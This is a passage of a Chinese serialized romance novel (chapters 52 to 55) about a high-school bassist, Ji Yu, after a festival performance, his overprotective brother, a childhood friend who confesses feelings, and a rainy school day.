愣怔间,却突然与纪羽的目光对上了,横亘在他们之间的人影也变得浅淡,如烟似雾。 纪羽皱了皱眉心,嘴唇很快地开合: 看我。 纪羽怀疑他在走神。贺思钧的心跳了一跳,终于从浮荡中抓回神志。 后背被汗水浸湿了,或许是因为他说也说不清、想也想不明白的心虚。 他的心就此游离。 只听见一声尖叫,台上的演奏也接近尾声,伴随几道铿锵的重音,高音稳稳收住,只剩下贝斯的尾音在轻颤。 舞台左侧的贝斯手按弦垂手,视线在掌声中飘远。 贺思钧想他或许看到了自己,或许没有。 丛丛人群里,只有高台上的人最好辨认。 贺思钧看他跟着身旁的人微微鞠躬,然后向舞台侧边走去,才如梦初醒般大跨步离开观众区。 “爽!” 辽光走到后台,来不及摘吉他就仰头大喊一声。 倒也没人制止他,不过也没人应声。 “又搞冷暴力?”辽光到每人身边窜了一圈,“啥意思呢装高冷。” 老麦把他从纪羽身后扯开:“我到外边抽根烟,等把东西装车我们再走,先休息一会儿。” 纪羽没反对,毕竟他不是真正的禁烟大使。 出人意料的,贝旬居然也站起身:“我跟你一块儿。” 两人掀了帘子走到外边去,辽光才想专心骚扰纪羽,就见贺思钧快步走进。 “……算了,我也出去喘口气。” 辽光也走了,休息室内顿时变得安静。 新上台的是位抒情歌手,每句词的尾音拖得长而缠绵悱恻。 贺思钧走到他身边替他收拾琴盒,纪羽把他的手拍开。 贺思钧腕骨很硬,指骨也长,反手就将纪羽的手掌捉住,轻声说:“对不起。” 纪羽抿了抿唇,再掀眼时眼睛有点红:“我在台上弹得帅不帅?” “帅。很多人在拍你,我还看到有人在搜你名字。” 纪羽听了有点高兴,又不想被贺思钧这么一说就哄好:“你到观众场里干什么,不是都看不起承风吗,还看我们表演……” 贺思钧手指按揉着纪羽的掌心,低垂着头显得很温驯:“我不是看不起承风,我只是有点不喜欢他们可以站在你身边。” 酸软酥麻的触感从神经末梢一路传导后脑,纪羽整只胳膊陷入奇怪的酸胀之中,他叫了一声痛,愤愤地把手抽走。 “那谁叫你五音不全了?你自己不能和我一起玩,还不许我和别人玩,小时候就这样,长大还这样,你一个大男人怎么那么小肚鸡肠?” 贺思钧垂眼,也不反驳。 从前本来就是他和纪羽玩得好好的,纪羽当皇帝,他当皇帝身边的侍卫,是别人非要硬插进来,拉着纪羽不放一直哥哥哥哥地叫,还说什么皇帝下面还有王爷,他可以当皇帝的弟弟。 显然是包藏祸心。 贺思钧自然秉公执法,清君侧。不肯让纪羽再到公园里玩,每回纪羽要提起那新朋友时就会用去喝糖水转移他的注意力,手段并不高明,纪羽都看出来了,不过当时比起一个刚认识的朋友来说,他觉得照顾贺思钧的心情、维护好这份友情更重要一点,也就没有戳穿。 谁知道会助长了贺思钧的气焰,让他变成这么小气的人? “你喜欢我就是这么喜欢的?那你还是喜欢别人去吧,我才不稀罕。”纪羽重重扣上琴盒,不去看贺思钧的表现。 贺思钧又来捉他的手,纪羽把手抱起来不让他碰,贺思钧只好低声道:“我已经改好了,不会再那样了。” “那你的意思是我翻旧账吗?” 不是贺思钧自己过来找他开口第一句就是说对不起吗。 “当然不是,”贺思钧连声道,“当然不是。” 风吹着帘布上下翻飞,隐约可见不远处飘散的烟雾。 贺思钧的手也搭上了琴盒,肤色比他深得多,在漆黑的盒面上也显不出一丝细腻,反而更刚硬,纪羽想起他在急诊时被这双手托起来,肋骨被硌得好痛,那时他一瞬地清醒,看到贺思钧怔忪的眼神。 “我不知道该说什么,只是想到你应该会有点伤心。” 纪羽不自然地眨了眨眼:“我有什么好伤心的,演出很顺利,台下反响也很好,我们一下台曲坚就说接下来也稳了。” 贺思钧的手指朝他爬过来,吸附在他手腕上。 不带有任何情/色目的的接触,就只是本能地试图触碰获取体温的信号。 “猜的。” “……无聊。”纪羽故技重施,贺思钧的手却像长在他身上似的甩不下来。 挣扎无果,贺思钧手上除了多添了几个月牙印以外没有受到任何伤害,手还拉着纪羽不放。 纪羽有点急了:“你还小吗,快点放开,他们都要回来了。” 贺思钧不知想到了什么,竟然说:“小羽,你觉得我拿不出手吗?” “什么跟什么,”纪羽被陷入同性恋思维的贺思钧搞晕了,从台上下来萦绕着混沌的情绪不知不觉散去,他盯着贺思钧,“我不想被人发现我被男人暗恋不是很正常吗,和你拿不拿得出手有什么关系,我又不喜欢男生。” 这倒是他第一次说自己的性向。 贺思钧稍松开手,还是圈着纪羽。 “那小羽喜欢女生,那你会喜欢展舒文吗?” 这又什么逻辑,纪羽被他扯着又走不开,只能继续这个话题:“不喜欢!我不喜欢男的又没说我喜欢女生,展舒文是朋友,谁会喜欢自己的朋友?!” 贺思钧就会。 于是他追根究底:“那你喜欢谁?” 纪羽眼睛一瞟,看帘外有人影靠近,忙压低了声:“我谁都不喜欢,我就喜欢我自己,我喜欢被别人喜欢,行不行?快放开!” 他急得要跳起来踩贺思钧的脸了。 “好。挺好的。”贺思钧把手放开了,纪羽一溜烟跑到另一边的板凳上坐着,偏过头,板起脸。 辽光苦哈哈地转了一圈回来,发现气氛还不如他离开前。 搞个破乐队一天天事儿咋那么多呢…… 又等了一会儿,老麦回来说可以走了,才要往汽车站赶去,纪羽说改签了高铁,可以吃顿饭再走,于是一帮人又听司机的推荐到了一家土菜馆吃了顿饭。 吃了一半,纪羽偷偷跑出去结账时发现已经结过了,问是谁,谁都没承认。 回程轻松多了,辽光下车时还抱怨梦都没做一半,被老麦蹬了个屁股蹲,纪羽见他出丑笑得特高兴,贝旬也笑,掏出手机把场面录了下来。 “下礼拜继续练,记得看群消息。”老麦丢下一句话,就走出了车站。 贝旬挤地铁,辽光去隔壁车站找他的小电驴。 等人都散了,贺思钧才对纪羽说:“我们也走吧。” 纪羽吸吸鼻子,走到路边,把贺思钧拦车的手压下。 十几秒后,一辆车在两人面前稳稳刹住,车窗降下,纪律说道:“上车。” 贺思钧原地不动,偏头看向纪羽。 纪羽也没动,哼笑一声,抱臂:“我在站台上看到你了。” “……”纪律面色沉静,说:“先上车。” 第52章 一关上车门, 纪羽的质问便驾到了:“你跟踪我?” 跟踪这个词纪羽用得太顺溜,贺思钧眉心一跳,默不作声。 “纪羽。”纪律显然不满这个用词, “这不叫跟踪。” 纪羽挑起眉梢:“你说不是就不是?” 胆子真是越来越大,脾气也越发见长, 有必要和纪泽兰谈一谈纪羽的教育问题了。 纪律淡定开口:“你可以拿出我跟踪你的证据。” 这还要什么证据?纪羽愤愤道:“我都在站台上看到你人了,你给自己买商务座!” “你说了那也只是你看到,谁能证明?再说, 你确定那是我而不是你看错了?就算是我, 我临时出差一天和你又有什么关系?” “呵呵呵呵。”纪羽发出一串不明意味的冷笑后也不说话,靠在后座上闭起眼, 端的是一副冷傲模样。 奔波一天, 也是该累了。 贺思钧看了纪羽半晌,伸手替他将外套收拢, 察觉有目光注视, 敏锐抬眼,正与纪律目光在后视镜面对撞。 谁也不是多话的人, 虽然认识已久, 纪律和贺思钧也没真正聊过几句。 在纪律看来,贺思钧只是纪羽一个木讷寡言的朋友。 不过似乎, 好像有哪里让他直觉有些微妙,贺思钧的眼神里多了些从来没注意到的东西。 行进时轮胎与地面低沉、均匀的沙沙声贯穿了整趟路程。 到家将车停稳, 纪律开口道:“行了, 别装睡了, 到家了。” 纪羽睁开眼,眼神清明,哪有一丝困意:“我早就知道了, 我听得出来。” 从公路驶进小区的摩擦声是不一样的,每个转弯他都记得清清楚楚,都不需要纪律提醒,他本来就要睁眼! 纪律无视他翘尾巴似的神情:“别人下车也不打招呼。” “和贺思钧有什么好打招呼的……” 纪羽拿着东西下车,小跑到院前喊:“我回来了!” 徐梁和纪泽兰早等着了,上前接过他手里拎着的袋子,揽着人进屋,进门前纪羽还不忘回头催促纪律:“快点呀。” 待喝了姜糖水,又上楼洗漱换了身舒适的睡衣,纪羽这才开始讲起今天的经历。 省略去前边晕车的部分,纪羽说起彩排:“一堆人等着呢,稍微晚一会儿别人的时间就不够了,一上午我们也就轮到一次上台,还有乐队的车走错地址,不知道是主办方给错定位还是他们弄错了,架子鼓和键盘什么的都没到,好几个人吵,骂得可难听了。” 纪羽事无巨细地把到达后大大小小的事都说了个清楚,什么场地内所有吃的喝的都很贵,歌手和主办吵架了,有黄牛带着乐迷闯到后台被请出去,还有午餐的盒饭很好吃…… 最重要的还是他们的表演。 “台下有好多人,从下午站到晚上天黑,他们都特别好,已经站了好几个小时还是很热情,给我们招手,叫我们名字,还会跟着唱。” 还有人一直让纪羽往台边走,喊得很激烈,纪羽结束后向他们摆了摆手,有个人甚至喊劈了嗓子。 简直像梦一样,如果不仔细看,那只是同样有着两只眼睛一只鼻子一张嘴的人,远远望着都差不多,但靠近一点,就看到他们脸上的神情,热烈的,笑得张扬的,也有相对平静的,可无一例外他们都看向台上,看着他,看着承风。 “可惜只唱了三首歌,一会儿就结束了。” 纪泽兰捏捏他的手:“下次再去,多积累经验,再把身体养好,以后表演一个小时两个小时也没问题。” 纪羽:“那要很有名的乐队才可以表演那么久啦。” 这一天还不知道会有多久呢。 在徐梁看来纪羽什么都是最好的:“那我们小宝也要做大明星了,依我看台风很稳健嘛,上台的时候多酷啊,爸爸都快认不出来了。” 纪羽竖起两只耳朵,微眯眼:“你看到我表演的视频了?” 徐梁半点没防备:“那是,你哥把视频发过来,爸爸第一时间就点开看了,特别帅,和爸爸年轻的时候一模一样!” “……” 纪泽兰在他腰间拧一把,徐梁又找补道:“像你像你。” 一派其乐融融的吵闹声中,纪律决定暂时逃离这个愚蠢的家庭,才迈步上楼,纪羽当即追了过来。 “都没票了,你怎么进场的?买黄牛?你居然没被骗,哦你是律师,就算被骗也可以打官司把钱拿回来。”纪羽叽叽喳喳。 “我非要上个当才行?”纪律问。 台阶错落,纪律半边身子挡住了侧光,阴影之下,脸庞格外冷淡。 纪羽噔噔噔爬上几个台阶,走到纪律上方,俯视着看他:“你又不会好好说话!” 他穿一身纯棉睡衣,洗得次数多了,虽然舒服薄软,但松松垮垮地套在身上毫无威严。 纪律却是被他镇住了般没驳面子,居然如实说了:“在门口花钱换的票。” 那人拿着钱欢天喜地地就走了。 入场时,看到审批文件和许可证公示又环顾场内,纪律才确认这是个合法合规的活动,规模不小,预想中酒吧驻唱、夜店表演的场景没有发生。 但一切得看到纪羽最终上台才能确证,或许他该从一开始就陪同纪羽出发。 聒噪、喧哗,这是纪律对这场音乐节的评价。 一批人要在台上待几十分钟才会换下,前排的人蹦蹦蹦跳推推搡搡,安全隐患肉眼可见。 浮夸的歌词和故作高深的曲调,一声高音就足以让底下的人群像僵尸一样被驱赶起来。 纪羽以前常来这种场合?纪律脑门上青筋直跳。 简直是群魔乱舞。 纪羽两三岁的时候就很喜欢安静,抱着布娃娃自己说话,也不像其他小孩一样吵闹,很乖。从村庄离开坐上火车时听到临铺的小孩尖叫还会捂上耳朵,捂自己的,也捂娃娃的,两只手捂不过来,就钻到他怀里埋着。 到底是哪里出了错,明明从小培养书画陶冶情操,养成了这样,乐队里打眼看去,哪有一个像是他这年纪的高中生能接触到的? 纪羽能瞒着他乐队的事,未必就不能瞒着他更多。 这么想着,细究过往,时间倒是过得很快,稍不注意台上又换了一组人。 纪律翻看出场顺序单,下一组就是纪羽所在的乐队。 等吧。 等着等着又觉得这站位不好,出票的那人只是普通票,所在区域只能看着大屏,台上的人像蚂蚁似的。 纪律找到穿着马甲的人,和他说了几句,那人拿了钱,把马甲换下给他,他站到了正对舞台的摄像区。 又过了半小时,承风匆匆上场。 纪律抬起手机回复徐梁:【上台了。】 …… 冷酷低调的贝斯手和眼前还残留几分稚嫩的脸庞重叠。 纪羽眨着眼睛看他:“感觉怎么样,是不是很震撼,我可一次都没失误,你快说很棒。” “……还不错。” “什么叫还不错,你又这样!”纪羽很快不耐烦,眉心蹙起,用谴责的目光看着纪律,“真不想和你说话了。” 纪律说:“我的评价对你来说很重要吗。” 这句话实在不太动听,他刚说出口就觉得不妥,才想补救,就听纪羽甩下一句:“随便你怎么说!” 他踩着拖鞋飞也似的到了楼梯尽头,锁门的咔嗒声比关门声都大。 紧接着是两声叹息。 楼底徐梁和纪泽兰仰头看来,摇了摇头:“你呀……” “唉!” 纪羽倒没纪律想象中的生气,他捂着脚背正在床上翻滚。 好痛,早知道不在楼梯上跑那么快了,台阶撞一下好疼。 忍了忍,纪羽坐起身把裤腿撩到膝盖。 小腿外侧又冒出来小片红点,有点痒但不痛,暂时没什么异样,保险起见,纪羽又吃了一次药才躺下。 他拍拍自己的腿:真争气,以后继续保持。 明天还得上学,纪羽熄了灯准备早睡,躺了一会儿,神智倒是却是越来越清明。 在床上摸了一圈没找到手机,正奇怪着,消息提示音就在浴室响起。 差点忘了把手机从兜里掏出来。 拿到手机窝回床上,先调了静音,纪羽才点开聊天框。 纪律给他发了个视频。 是单独录的他,在他不远处的老麦连手臂都没能入镜。 手很稳,离得也很近,纪羽能看清视频里贝斯上挂着他自己刻的木牌,应该在VIP区内,这么近的距离他居然没有看见纪律。 中途辽光满场跑凑到他身边,稳定的镜头才开始偏移——辽光凑过来就移开,确保镜头里只能有一个人,且居中。 【讨人厌:很不错。】 以为在不错前面换一个程度副词,就可以抵消自己的恶劣言行带来的后果了? 想得美。 纪羽退出去,一个字都没给他回。 【Yv:你有没有拍视频,承风所有人的?】 过了半晌纪羽在网上都搜到视频了,贺思钧才回复:【没有,忘记了。】 【Yv:[白眼]要你有什么用。】 【J:对不起。】 【Yv:道歉道歉就会道歉,你就不会说说你自己的感受或者说点好听的?】 【J:小羽。】 【Yv:不要叫我小羽,我比你大,剥夺。】 纪羽看着聊天框上[对方输入中…]持续十秒后消失,打字问道:【怎么让你说句好听的也那么难?】 下一刻一条长消息弹出来。 【J:我好像不该说这句话,今天能站在人群里看你,我很高兴。那么多人里,只有我和你有关联,只有我和你从小一起长大,只有我抱过你亲过你,虽然这不应该让我得意,但我确实比他们都要更靠近你。小羽,你那么好,我很高兴。】—— 作者有话说:小羽:说点漂亮话。 纪律:[好运莲莲][玫瑰][烟花]还不错[红心][鼓掌][比心] 第53章 贺思钧的审题能力还是那么差。 要他说想法说几句好听的, 又说这些话干什么?好没羞耻心的人。 【你也高兴不了多久了……】 纪羽无意识打出这一行字又飞速删掉,只回了一个撇嘴的emoji。 他心意已决,不可能再更改! 这么想着, 玩手机打发时间的心思也淡了,纪羽才要退出软件, 手一滑点进了和梁子尧的聊天框。 梁子尧话多,刷到些有的没的就爱分享,纪羽偶尔回复, 最近他忙着, 就懒得看了。 这么一积攒就攒出了几十条消息来。 真够闲的,没事就不能看会儿书吗。 也是, 不看书都能考前两百了, 看了书那还了得,这不是给其他人生路吗, 纪羽咬牙切齿地想着, 恨不得当场爬起来再写两套卷子。 想是这么想,既然已经点进来了, 纪羽还是随意看了看。 其中几天前的几条消息让他凝住目光。 【π:链接·[有票!缤纷派音乐节少量余票等你抢]】 【π:好近, 要不要一起去?】 【π:差点忘了,这周不休, 好可惜TT】 消息他错过了,音乐节可没有, 不过他不是在台下, 而是在舞台上。 这个公众号明显编辑得极不用心, 连发布的海报都是最初版本。 雷暴云乐队队内不和,已经在网上互骂整整一月,前段时间还传出队内霸凌的新闻来, 许多事先谈好的活动近期纷纷取消,这才叫承风成功捡漏顶替。 承风的名字是在上周才被替换上海报的,只是没什么名气,也没多少人关心。 又是巧合,还是梁子尧刻意凑的巧? 再如何想,也只是空想,得抓个现行有证据才是。 再过几天,和那位琴行老板见一面,那人或许就会彻底浮出水面了。 着急也没用,纪羽合上眼,昏昏睡去。 第二天准时到校,纪羽在教室里坐下,倒是觉得恍如隔世,品出点安稳惬意的滋味来。 其他人倒没那个感想,有几个满面油光头发东倒西歪地进了教室,一屁股坐下就是睡,纪羽在鼾声里补了会作业,就听着集合铃声下楼。 贺思钧一言不发地跟在身后,楼道里挨挨挤挤,纪羽倒是谁也没碰着,满身清爽地站到广场上,干干净净的。 升旗仪式过后便是领导讲话。 每周来来回回就是那几句,纪羽微低着头,脑袋放空,余光瞥到有人还带着英语单词本下来背,忍不住咋舌。 好卷啊。 下次他也要带。 走着神,就听周围爆发出一阵欢呼声。 “怎么了怎么了?”纪羽忙拉着身旁同学问。 “运动会啊!”男生脸上的油光都化开了,滋润的水光般映着激动的红脸颊,抑制不住地欣喜,“下周开运动会,高三也能参加!” 往年运动会只限高一高二参与,不过去年宁海市内流感爆发,不少学生中招,怕人员聚集传染更广,一中不得不临时取消运动会。 这次能补上,也算弥补了高三这一届的遗憾。 纪羽听了也挺高兴,虽然他不参与项目,但是不上课,那就是好事,而且是全校都不上课,完全没负担! 众人还沉浸在即将迎来无痛假期的喜悦中,教导主任便抵着不断发出啸音的话筒,郑重提出新增校规。 其一,午休期间禁止学生购买校外食品入校,校门处一旦发现外卖立即清除。 其二,男女生不可交往过密,走廊、楼梯转角及其校园死角处已全部加装监控,一旦发现有过度亲密行为,一律通知家长严肃处理。 …… 其□□生不得私自捕捞校内人工湖任何鱼虾,违反者通报批评,并由家长代为赔偿损失。 除了前排学生垂首听着,百无聊赖,后排已经敏锐地讨论开八卦。 学校强调什么事,就说明已经有人就此事干了票大的! 纪羽竖起耳朵听一会儿,觉得没什么意思,有点想打哈欠。 嘴还没张开,就听台上人宣布由几个典型分子做国旗下检讨。 一个个学生臊眉耷眼地上去了,有甚者直接在台上哭出了声,纪羽心里看着一阵阵发闷,难受得不行时,就听后排贺思钧低声说:“那是演的,我见过他在校门口用烟头烫主任裤子。” 原来是表演型人格。 纪羽安下心,伸长脖子看那人下台低着头抹泪,主任于心不忍似的拍着人肩膀说话。 哇…… 好能演。 没等纪羽看着那人接下来如何表现,就见台上上来个无比熟悉的人。 梁子尧站在台上,不紧不慢把额前碎发捋起,挽起两边袖口,抖了抖检讨信,又环视底下一圈,看到十七班里纪羽也在场,还点点头微笑道: “今天,我很惭愧地站在这里,为我莽撞、轻率的行为致歉。” 纪羽见他视线投来,第一反应是偏过头去,生怕叫人看出他们认识。 别人站上台检讨纪羽觉得他们可怜,梁子尧却是一副宣讲拉票般的志得意满,好一个作态,让人生出脱了鞋子丢上台去给人“助威”的冲动。 只听梁子尧诚恳说道:“我不该用自制鱼竿在学校人工湖这个公有场所钓鱼,更不该钓起重达七斤七两的鲤鱼在校内招摇过市,幸好小鱼经救治放归后无事,否则我良心难安,终身将生活在亲手捕杀一条小鱼的阴影中。感谢老师及主任对我的批评,让我迷途知返,心存善念……” “他有病吧。”纪羽脱口而出。 一旁的男生却赞叹道:“这厉害啊,居然能钓起来,七斤多的鲤鱼,这么大。” 他比了个手势,摇头道:“天赋啊天赋啊,我爸都没钓到过那么大的鱼。” 纪羽忍不住和他争论:“万一是钓的地方不对呢,人工湖里鱼最傻了,随便一钓就能钓到,你也不要太看不起钓鱼佬了,这都要看天时地利人和的。” “那可不一定,有的人就是运气好,考试的时候随便蒙个答案都能对,想做什么都特顺,这也算是天赋,天赐人权。” “哪有老天爷呀,我们不都是爸妈生的。”纪羽说。 那男生看他一眼,又指指自己:“那我爸妈把我生成这样是他们想的?我的基因彩票去哪儿了。” 纪羽沉默了一会儿,才拍了拍男生的肩膀:“你其实挺帅的。” 男生看他一眼,气着了似的抽噎了一下,抖了下肩膀,背过身不说话了。 纪羽只好收回手,回头问:“我说错话了?” 后边,贺思钧收敛目光,淡然道:“没有,他可能是想到了什么伤心事。” 台上梁子尧也被赶了下去,广播响起散场曲,各班学生散乱开,三三两两挤在一起向教学楼走去。 树木长青,唯有银杏悄然镀上日色,渐次转黄,零散地落了几片叶。 上午最后一节课,突如其来一场大雨,浇得满地残叶,先是大风穿堂而过,书页噼里啪啦翻飞,宽大的外套、翻飞的头发,班里接连不断的叫嚷。 铅云顷刻间盖住了蔚蓝,天色暗下,老师指挥着把窗都关上,将灯都打开,下一秒便是铺天盖地的大雨。 打在窗面响得很清脆,继而就像浇下一般,成片成片滚下雨水,天地混为一色,只一会儿连对楼都看不清了。 “那还怎么吃饭呀……” “我去,好大的雨,好爽。” “老师!走廊渗水进来了!” “窗户也漏水,玻璃会不会裂啊。” 于是课也没法上了,坐不住的站起来找抹布堵窗户门缝。 活都是被抢的,纪羽一会儿偏头看看窗户,一会儿又去听门板被风吹得砰砰响,雨从合不拢的门缝里钻进来。 树枝摇晃得厉害,像发了疯的曲坚甩着他的长发,啪啪地打在窗台上。 老师在讲台上指挥:“把自己的书和卷子都放到课桌里,放不下的放到柜子里,别被打湿了。 “下个雨把你们兴奋的,有那么高兴吗?” 窗外一道闪电照得天光大亮,纪羽的耳朵被捂住了,惊雷和教室里的大笑的尖叫一起响起。 他硬是扒开贺思钧的手掌,听到了延绵轰隆的雷声,等到又一声巨响才回头道:“刚刚的雷声有这个大吗?” “差不多。” 纪羽把书一股脑塞进课桌:“你就骗人吧,他们都不叫了。” 继而又是一道紫光,纪羽眼疾手快堵住贺思钧的耳朵,雷声降下整座楼都在抖动。 纪羽的手堵得不严实,那道巨响还是穿透了贺思钧的胸膛,心跳在共振中漏了一拍。 尽管有所准备,纪羽也被这爆炸般的雷声惊得一抖,转过头音调控制不住地拔高,藏不住的兴奋:“好吓人!” 抱着报复成功的快意他炫耀般说:“这个最响了。” 四目相对,才发觉他们靠得太近,贺思钧的目光一寸也不曾偏离地落在他身上,像闪电选中目标一瞬间劈开墨云,深眸明亮。 纪羽松手,退开,满教室的人都在激烈地讨论那几道响雷,互相抱在一起的也不在少数,没人注意到他们,或许注意到了,也会想两人终于和好了罢。 那道刻意强调的校规在闷雷中无声响起:男女生不可交往过密……一旦发现有过度亲密行为……严肃处理。 啊,都怪贺思钧也是男的。 熟悉的相处模糊了边界,纪羽险些又忘了,贺思钧反复强调的,很喜欢。 第54章 可惜, 贺思钧会在他身上得到注定失望的结局。 纪羽避开对视,略有慌乱地背过身去。 电灯闪烁几下,竟然熄了, 教室内又是一阵哗然。 闷响嗡隆与天花板上桌椅摩擦声此起彼伏,有人惊喜道:“断电了!” “现在断电高兴什么呀, 都快吃饭了,这么大雨,怎么去食堂啊。” “把校服套头上跑呗。” “会不会停课啊!” “我好饿, 老师, 你有没有收到通知啊。” 这暴雨难得一见,谁也没预料到。“大家都坐下来不要吵闹, 靠窗的同学把桌子向里移, 等领导通知,不要着急。” 众人坐下来, 室内室外俱是灰暗一片, 低头更是字也看不清,却正合了意, 见老师没反对几人聚坐在一起, 低声讲起小话来。 纪羽和柳承他们坐得分散,也没大费周章地跑去扯闲话, 他趴在课桌上,侧着脸看向窗外。 心绪像被风卷上半空的塑料袋, 一会上升, 一会儿下沉, 毫无凭依。 他怎么能觉得贺思钧会有点可怜? 难道他已经从心底里原谅了他? 没有。 绝对没有。 纪羽是个说话负责的人,对自己更是严格,他才不会背叛数月前的自己。 他不甘心就是不甘心, 不快活就是不快活,他考虑贺思钧的心情,贺思钧又考虑他了吗?对他人的宽容就是对自己的责难! 他对贺思钧已经足够好足够容忍,试问谁还能被兄弟当面表白后已经从容自如镇定冷静? 他纪羽就能! 不仅如此,他还给插他两肋的兄弟一个足够长的缓冲期,让他们都体体面面地参与高考心无杂念,这还不好? 要说是不是对贺思钧有一丁点喜欢?答案依旧是没有。 多年的亲近做不了假,他又不是真的铁石心肠,对贺思钧当然有情谊在,但那绝对不会喜欢。 他对贺思钧没有欲望,哪来的喜欢呢。只是他站在贺思钧的角度想了想,如果要和自己这样好的朋友彻底分开,知道这几个月的和平相处都是缓兵之计,他绝对也会伤心难过。 纪羽定了定心,想到自己这些天来的表现,觉得还得划定条基准线,免得越界让贺思钧生出不必要的期待来,温水煮青蛙,那也是要点上火的,至于贺思钧能不能意识到他的暗示,那就不归他管了。 左右他都是不会放弃那个计划的。 一阵紧促下课铃响起,楼道里又喧哗起来,雨势未减,有人已冲出教室一顿狂奔着下楼。 贺思钧在身后说:“应该是阵雨,等雨小了我们再走。” 这么大雨,地上都该被水淹了,就算是立刻停了,纪羽也不想再走出校门,于是摇了摇头,说:“今天不出去了,就在教室里好了。” 有人趴在窗边看,喊道:“有好多人下楼了,吃个饭也太拼了。” “我也想下去,早饭都没吃,我都快饿扁了。” 纪羽看着雨势大到泛白像浓雾似的室外,咧了咧嘴,心想饿一顿也没什么,淋了雨满身黏糊糊的才最难受。 贺思钧倒是没让他饿着的打算,从口袋里掏出几块巧克力放到纪羽桌上,问道:“饿不饿?” 纪羽见他起身,下意识拉住他衣角:“你不会要出去吧?” 在纪羽“出门就是纯智障”的眼神里,贺思钧摇头:“我去打点水。” 纪羽这才放了手,却还说道:“走廊都被淹了,风一刮就湿透了。”末了又觉得自己这话关心意味太浓,又说:“不过随便你,又不是我淋雨。” 隐在阴影中的黑眸浮过一层亮光,贺思钧声音轻柔道:“我知道,马上就回来。” 大部分班级老师发话原地不动,但还是能看到有人不断从教学楼里跑出来,伞面很快折了,好些人仿佛野猴般在雨里大跳,尖叫。 贺思钧打了水很快回来,只沾湿了半边肩膀,又不知道从哪儿又掏出包燕麦片和豆浆粉,用热水泡开,放到温热端给纪羽。 “先垫一垫,学校待会儿应该会送餐。” 果不其然,纪羽把勉强喝了两口的燕麦粥还回去,卡壳似的广播终于响了。 宁海市内突发强降水,几道预警连发,校内更是淹了好几处。 广播提醒各班师生留在室内不要轻易走动,打包的饭菜已经在路上,已经抵达食堂的学生也务必不要移动,等待通知。 一个年级十八个班,每班少说也有三十五人,这发餐一等就是猴年马月。 纪羽努力咽下酱牛肉,对柳承竖了个大拇指:“好吃。”把其他女生分的面包都给了他,灌了一口水,“我吃不下了。” 展舒文把苹果啃得细细一条,包在纸巾里丢到垃圾袋,闻言抬起头:“早知道我就不把核丢了,留给你当晚饭吃一点不浪费。” “……”纪羽露出一个礼节性的微笑。 “贺思钧又在看我们了,要不要把他叫过来。”柳承吃得很不安心。 展舒文道:“是在看纪羽,没在看我们。” 柳承看纪羽:“不是和好了吗?” 纪羽:“我只是从教室东边到西边,就几米的距离还要带上他吗?” 展舒文瞄一眼东边:“他看起来挺像被你带着的。” 才坐下没几分钟的纪羽甩下一句“你们都好烦人。”起身又走了。 柳承就要站起去追,被展舒文一把拉下了,他担心道:“小羽是不是生气了?” 展舒文掏出第二个苹果啃:“不是骂我们。” “?” 纪羽一回来就趴下,贺思钧才想开口提醒对胃不好,就见纪羽爬起来,回身看了他一眼,意味深长的,又转了回去。 一天到晚看着他干什么,找点正事做。喝水的时候纪羽就发现了,贺思钧一直盯着他嘴巴看,喝他剩下的燕麦也直接对着他碰过的位置。他去哪里贺思钧眼睛就跟到哪儿,生怕别人看不出来。 这也太明显太张扬了。 是不是故意的他不知道,但感觉得给贺思钧一点警告。 纪羽心里默念几遍我不喜欢你,借眼神传递出去,希望贺思钧能懂。 贺思钧莫名被纪羽一瞪,想说的话止在喉头。 纪羽似躲非躲的动作和他看不明白的眼神让他隐隐焦躁,到底怎么了,小羽想和他说什么? “发饭了!” 门被推开,被饿急了的同学一窝蜂扑上去。 “老师,能多拿吗,我想拿份饭多点的。” “神啊,你终于来了。” “别挤,一个个拿呗。” 塑料饭盒垒在推车上,用防水布盖着,一路送来还没凉透,已经超出预期,众人取了餐回到座位上大快朵颐,纪羽这才懂了老师每回进教室为什么一脸嫌弃道:“一股饭菜味,把窗打开!通风!” 他不饿,自然也不觉得这味道香,反而闻出几分反胃的油腻味,站起身想到走廊拐角处站一会儿,等人都吃完了再回来。 他一起身,贺思钧就跟着起身,见纪羽向后门走,贺思钧问他:“去哪儿?” 不是很想回答,纪羽不情不愿道:“这不是你该问的。” 贺思钧不明白:“为什么?” “你的身份还不足以我对你汇报我的行踪。”纪羽淡淡抛下这一句话,贴着墙壁躲着雨走了。 贺思钧站在原地独自消化,他的身份……? 纪羽走到楼道里才大口呼吸起来,嗓子灌了风又呛咳着,声音回荡在楼道里格外大,纪羽忙捂上嘴,把咳嗽憋回胸口。 “怎么不咳出来,憋回去容易生病。”突然一道熟悉得可怕的声音从头顶传来。 纪羽抬头,果然看到了梁子尧冒出头。 他转身就要走,梁子尧三两步跳下台阶。 “别一见到我就走啊。”他浑身湿漉漉的,倒是没再贴近,留出了一道距离,“回去了也没事干,玩一会儿。” 纪羽自觉就站远了,看他:“你跑出去了?” 刚刚那群猴里不会就有梁子尧吧。 “你那什么眼神,我是那种下雨天不知道往家跑的人吗?”梁子尧解释,“上体育课呢,雨就砸下来了,没地儿躲。” “那你待在这儿装神弄鬼……” “哪有!” 梁子尧极委屈似的:“班里一半人没去操场呢,人家干干净净的,我一进去不就把地板搞湿了?你闻闻,我身上有没有水臭味,我感觉鼻子都堵了。” 那是挺可怜的,纪羽略表关怀:“那你就这么待着?” 梁子尧头发湿透了,全捋在脑后,纪羽注意到他山根很高,难怪有时候显凶。 “等雨停了我到寝室里跟人借套衣服穿,放心吧。” 他好像也没说担心梁子尧吧?看在他脑袋可能也进了水的份上,纪羽没计较:“那你等吧,我要回去了。” 梁子尧鼻子都堵了,要是感冒传染给他那还了得? 梁子尧自己撑一撑坚持一下吧,他也帮不了他。 “你就那么走了?”梁子尧不可思议道。 纪羽回身掀起眼皮,示意:那不然呢。 “唉,我还没吃上饭呢,都快饿死了,不知道有没有好心人能可怜可怜我帮一帮忙。” 语气要多虚弱可怜有多可怜。 纪羽懒得管他,本想直接走人,毕竟一个有手有脚智力正常的十七八岁男子是不会自己饿死的 走出两步,却电光石火地闪过一个念头。 他立马改变心意,对梁子尧说道:“你在这等我一会儿,我马上回来。” “好啊。”梁子尧答应道。 第55章 纪羽急匆匆回到教室, 背对讲台遮遮掩掩地将手机收到袖子里贴着手腕藏着,又拿了一份盒饭,向外走去。 贺思钧起身, 没跟得太紧。 雨小了些,走廊还是湿的, 一脚上去咕叽咕叽。 纪羽小心地踩着地板,手指连点打开手机录音键。 见着纪羽去而复返,梁子尧颇为惊喜:“我还以为你不会回来了。” 纪羽:“我骗你对我有什么好处。” 梁子尧抽出筷子交替摩擦两下:“那是我以小人之心度君子之腹了。” 他随意在台阶上坐下了, 